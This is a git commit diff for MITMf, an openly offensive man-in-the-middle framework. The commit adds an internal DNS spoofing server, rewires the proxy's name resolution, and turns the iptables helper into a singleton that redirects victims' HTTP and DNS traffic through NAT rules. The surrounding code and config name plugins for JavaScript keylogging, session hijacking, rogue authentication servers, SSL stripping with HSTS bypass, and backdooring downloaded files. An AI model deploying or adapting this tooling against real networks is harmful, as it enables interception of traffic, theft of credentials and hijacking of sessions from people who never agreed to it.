- Whole framework now requires root privs

- Added an internal DNS server
- Proxy can now use our custom DNS server (DNSChef) or Twisted's
- Removed priv check from plugins
- DNS spoofing fully re-written
- Iptables rules are now checked and set between plugins
This commit is contained in:
byt3bl33d3r 2015-04-12 01:49:43 +02:00
parent c8732d60eb
commit 9a1c3b0ec4
22 changed files with 129 additions and 90 deletions

View file

@ -8,7 +8,6 @@
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
#(assuming you config file is in the default directory)
#
args=''
#Required BeEF and Metasploit options
@ -23,28 +22,22 @@
rpcip = 127.0.0.1
rpcpass = abc123
#
#Plugin configuration starts here
#
[Spoof]
[[DHCP]]
ip_pool = 192.168.2.10-50
subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional
[[DNS]]
#
#Here you can configure DNSChef's options
#Here you can configure MITMf's internal DNS server
#
resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended)
tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
port = 53 #Port to listen on
nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
tcp = Off #Use the TCP DNS proxy instead of the default UDP
ipv6 = Off #Run in IPv6 mode
ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!)
#
#Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
#can also be a comma seperated list e.g 8.8.8.8,8.8.4.4
#
nameservers = 8.8.8.8
[[[A]]] # Queries for IPv4 address records
*.thesprawl.org=192.0.2.1
@ -82,6 +75,17 @@
[[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig)
*.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
#
#Plugin configuration starts here
#
[Spoof]
[[DHCP]]
ip_pool = 192.168.2.10-50
subnet = 255.255.255.0
dns_server = 192.168.2.20 #optional
[Responder]
#Set these values to On or Off, so you can control which rogue authentication server is turned on.

View file

@ -16,7 +16,7 @@
# USA
#
import urlparse, logging, os, sys, random, re
import urlparse, logging, os, sys, random, re, dns.resolver
from twisted.web.http import Request
from twisted.web.http import HTTPChannel
@ -55,6 +55,12 @@ class ClientRequest(Request):
self.plugins = ProxyPlugins.getInstance()
#self.uniqueId = random.randint(0, 10000)
#Use are own DNS server instead of reactor.resolve()
self.resolver = URLMonitor.getInstance().getResolver()
self.customResolver = dns.resolver.Resolver()
self.customResolver.nameservers = ['127.0.0.1']
self.customResolver.port = URLMonitor.getInstance().getResolverPort()
def cleanHeaders(self):
headers = self.getAllHeaders().copy()
@ -173,7 +179,7 @@ class ClientRequest(Request):
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
def handleHostResolvedError(self, error):
logging.warning("[ClientRequest] Host resolution error: " + str(error))
logging.debug("[ClientRequest] Host resolution error: " + str(error))
try:
self.finish()
except:
@ -186,7 +192,17 @@ class ClientRequest(Request):
mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
return defer.succeed(address)
else:
mitmf_logger.debug("[ClientRequest] Host not cached.")
if self.resolver == 'dnschef':
try:
address = str(self.customResolver.query(host)[0].address)
return defer.succeed(address)
except Exception:
return defer.fail()
elif self.resolver == 'twisted':
return reactor.resolve(host)
def process(self):

View file

@ -47,6 +47,8 @@ class URLMonitor:
self.hsts = False
self.app = False
self.hsts_config = None
self.resolver = 'dnschef'
self.resolverport = 53
@staticmethod
def getInstance():
@ -55,6 +57,22 @@ class URLMonitor:
return URLMonitor._instance
#This is here because I'm lazy
def setResolver(self, resolver):
self.resolver = str(resolver).lower()
#This is here because I'm lazy
def getResolver(self):
return self.resolver
#This is here because I'm lazy
def setResolverPort(self, port):
self.resolverport = int(port)
#This is here because I'm lazy
def getResolverPort(self):
return self.resolverport
def isSecureLink(self, client, url):
for expression in URLMonitor.javascriptTrickery:
if (re.match(expression, url)):
@ -133,7 +151,6 @@ class URLMonitor:
self.faviconSpoofing = faviconSpoofing
def setHstsBypass(self, hstsconfig):
if hstsconfig:
self.hsts = True
self.hsts_config = hstsconfig

View file

@ -30,19 +30,33 @@ class SystemConfig:
file.write(str(value))
file.close()
class iptables:
class IpTables:
_instance = None
def __init__(self):
self.dns = False
self.http = False
@staticmethod
def Flush():
def getInstance():
if IpTables._instance == None:
IpTables._instance = IpTables()
return IpTables._instance
def Flush(self):
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
self.dns = False
self.http = False
@staticmethod
def HTTP(http_redir_port):
def HTTP(self, http_redir_port):
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
self.http = True
@staticmethod
def DNS(ip, port):
def DNS(self, ip, port):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port))
self.dns = True
class Banners:

@ -1 +1 @@
Subproject commit fbc5ec324b6045db2f6cc62662ab51d3ff979ec8
Subproject commit 9707672de62bd42f651fabc6f9d368d7a67b4d99

View file

@ -36,14 +36,6 @@ from scapy.all import get_if_addr, get_if_hwaddr
from plugins import *
plugin_classes = plugin.Plugin.__subclasses__()
try:
import netfilterqueue
if netfilterqueue.VERSION[1] is not 6:
print "[-] Wrong version of NetfilterQueue library installed!"
print "[-] Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it!"
except ImportError:
print "[-] NetfilterQueue library missing! DNS tampering will not work"
try:
import user_agents
except ImportError:
@ -52,9 +44,13 @@ except ImportError:
mitmf_version = "0.9.6"
sslstrip_version = "0.9"
sergio_version = "0.2.1"
dnschef_version = "0.4"
Banners().printBanner()
if os.geteuid() != 0:
sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?")
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
#add MITMf options
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
@ -114,15 +110,6 @@ if config_args:
sys.argv.append(arg)
args = parser.parse_args()
#Check to see if called plugins require elevated privs
try:
for p in plugins:
if (vars(args)[p.optname] is True) and (p.req_root is True):
if os.geteuid() != 0:
sys.exit("[-] %s plugin requires root privileges" % p.name)
except AttributeError:
sys.exit("[-] %s plugin is missing the req_root attribute" % p.name)
####################################################################################################
# Here we check for some variables that are very commonly used, and pass them down to the plugins
@ -189,8 +176,18 @@ else:
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
from libs.dnschef.dnschef import DNSChef
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
URLMonitor.getInstance().setResolver(args.configfile['MITMf']['DNS']['resolver'])
URLMonitor.getInstance().setResolverPort(args.configfile['MITMf']['DNS']['port'])
DNSChef.getInstance().setCoreVars(args.configfile['MITMf']['DNS'])
if args.configfile['MITMf']['DNS']['tcp'].lower() == 'on':
DNSChef.getInstance().startTCP()
else:
DNSChef.getInstance().startUDP()
CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load)
@ -207,7 +204,8 @@ else:
print "|"
print "|_ Sergio-Proxy v%s online" % sergio_version
print "|_ SSLstrip v%s by Moxie Marlinspike running...\n" % sslstrip_version
print "|_ SSLstrip v%s by Moxie Marlinspike online" % sslstrip_version
print "|_ DNSChef v%s online\n" % dnschef_version
reactor.run()

View file

@ -39,7 +39,6 @@ class AppCachePlugin(Plugin):
implements = ["handleResponse"]
version = "0.3"
has_opts = False
req_root = False
def initialize(self, options):
self.options = options

View file

@ -40,7 +40,6 @@ class BeefAutorun(Inject, Plugin):
tree_output = []
depends = ["Inject"]
version = "0.3"
req_root = False
has_opts = False
def initialize(self, options):

View file

@ -33,7 +33,6 @@ class BrowserProfiler(Inject, Plugin):
depends = ["Inject"]
version = "0.2"
has_opts = False
req_root = False
def initialize(self, options):
Inject.initialize(self, options)

View file

@ -29,7 +29,6 @@ class CacheKill(Plugin):
bad_headers = ['if-none-match', 'if-modified-since']
version = "0.1"
has_opts = True
req_root = False
def add_options(self, options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")

View file

@ -81,7 +81,6 @@ class FilePwn(Plugin):
tree_output = ["BDFProxy v0.2 online"]
version = "0.2"
has_opts = False
req_root = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''

View file

@ -35,7 +35,6 @@ class Inject(CacheKill, Plugin):
optname = "inject"
implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True
req_root = False
desc = "Inject arbitrary content into HTML content"
version = "0.2"
depends = ["CacheKill"]

View file

@ -30,7 +30,6 @@ class jskeylogger(Inject, Plugin):
depends = ["Inject"]
version = "0.2"
has_opts = False
req_root = False
def initialize(self, options):
Inject.initialize(self, options)

View file

@ -39,7 +39,6 @@ class Replace(CacheKill, Plugin):
depends = ["CacheKill"]
version = "0.1"
has_opts = True
req_root = False
def initialize(self, options):
self.options = options

View file

@ -34,7 +34,6 @@ class Responder(Plugin):
tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2"
has_opts = True
req_root = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''

View file

@ -30,7 +30,6 @@ class SMBAuth(Inject, Plugin):
depends = ["Inject"]
version = "0.1"
has_opts = True
req_root = False
def initialize(self, options):
Inject.initialize(self, options)

View file

@ -19,22 +19,20 @@
#
import sys
import dns.resolver
import logging
from plugins.plugin import Plugin
from core.utils import SystemConfig
from core.utils import IpTables
from core.sslstrip.URLMonitor import URLMonitor
from libs.dnschef.dnschef import start_dnschef
from libs.dnschef.dnschef import DNSChef
class HSTSbypass(Plugin):
name = 'SSLstrip+'
optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4"
tree_output = ["SSLstrip+ by Leonardo Nve running", "DNSChef v0.3 online"]
tree_output = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False
req_root = True
def initialize(self, options):
self.options = options
@ -42,10 +40,17 @@ class HSTSbypass(Plugin):
try:
hstsconfig = options.configfile['SSLstrip+']
dnsconfig = options.configfile['Spoof']['DNS']
except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
URLMonitor.getInstance().setHstsBypass(hstsconfig)
if not options.manualiptables:
if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port'])
start_dnschef(options, dnsconfig, hstsconfig)
URLMonitor.getInstance().setHstsBypass(hstsconfig)
DNSChef.getInstance().setHstsBypass(hstsconfig)
def finish(self):
if not self.manualiptables:
if IpTables.getInstance().dns is True:
IpTables.getInstance().Flush()

View file

@ -41,7 +41,6 @@ class SessionHijacker(Plugin):
implements = ["cleanHeaders"] #["handleHeader"]
version = "0.1"
has_opts = True
req_root = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''

View file

@ -45,7 +45,6 @@ class Sniffer(Plugin):
implements = ["sendRequest"]
version = "0.1"
has_opts = False
req_root = True
def initialize(self, options):
self.options = options

View file

@ -21,11 +21,11 @@
import logging
import sys
from core.utils import SystemConfig
from core.utils import SystemConfig, IpTables
from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from plugins.plugin import Plugin
from libs.dnschef.dnschef import start_dnschef
from libs.dnschef.dnschef import DNSChef
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
@ -35,14 +35,12 @@ class Spoof(Plugin):
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6"
tree_output = []
has_opts = True
req_root = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.dnscfg = options.configfile['Spoof']['DNS']
self.dnscfg = options.configfile['MITMf']['DNS']
self.dhcpcfg = options.configfile['Spoof']['DHCP']
self.target = options.target
self.manualiptables = options.manualiptables
@ -91,10 +89,10 @@ class Spoof(Plugin):
if options.dns:
if not options.manualiptables:
SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port'])
if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port'])
self.tree_output.append("DNSChef v0.3 online")
start_dnschef(options, self.dnscfg)
DNSChef.getInstance().loadRecords(self.dnscfg)
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
@ -102,7 +100,8 @@ class Spoof(Plugin):
SystemConfig.setIpForwarding(1)
if not options.manualiptables:
SystemConfig.iptables.HTTP(options.listen)
if IpTables.getInstance().http is False:
IpTables.getInstance().HTTP(options.listen)
for protocol in self.protocolInstances:
protocol.start()
@ -124,6 +123,6 @@ class Spoof(Plugin):
protocol.stop()
if not self.manualiptables:
SystemConfig.iptables.Flush()
IpTables.getInstance().Flush()
SystemConfig.setIpForwarding(0)

View file

@ -32,7 +32,6 @@ class Upsidedownternet(Plugin):
implements = ["handleResponse", "handleHeader"]
version = "0.1"
has_opts = False
req_root = False
def initialize(self, options):
from PIL import Image, ImageFile

View file

@ -10,7 +10,6 @@ class Plugin(object):
desc = ""
implements = []
has_opts = False
req_root = False
def __init__(self):
'''Called on plugin instantiation. Probably don't need this'''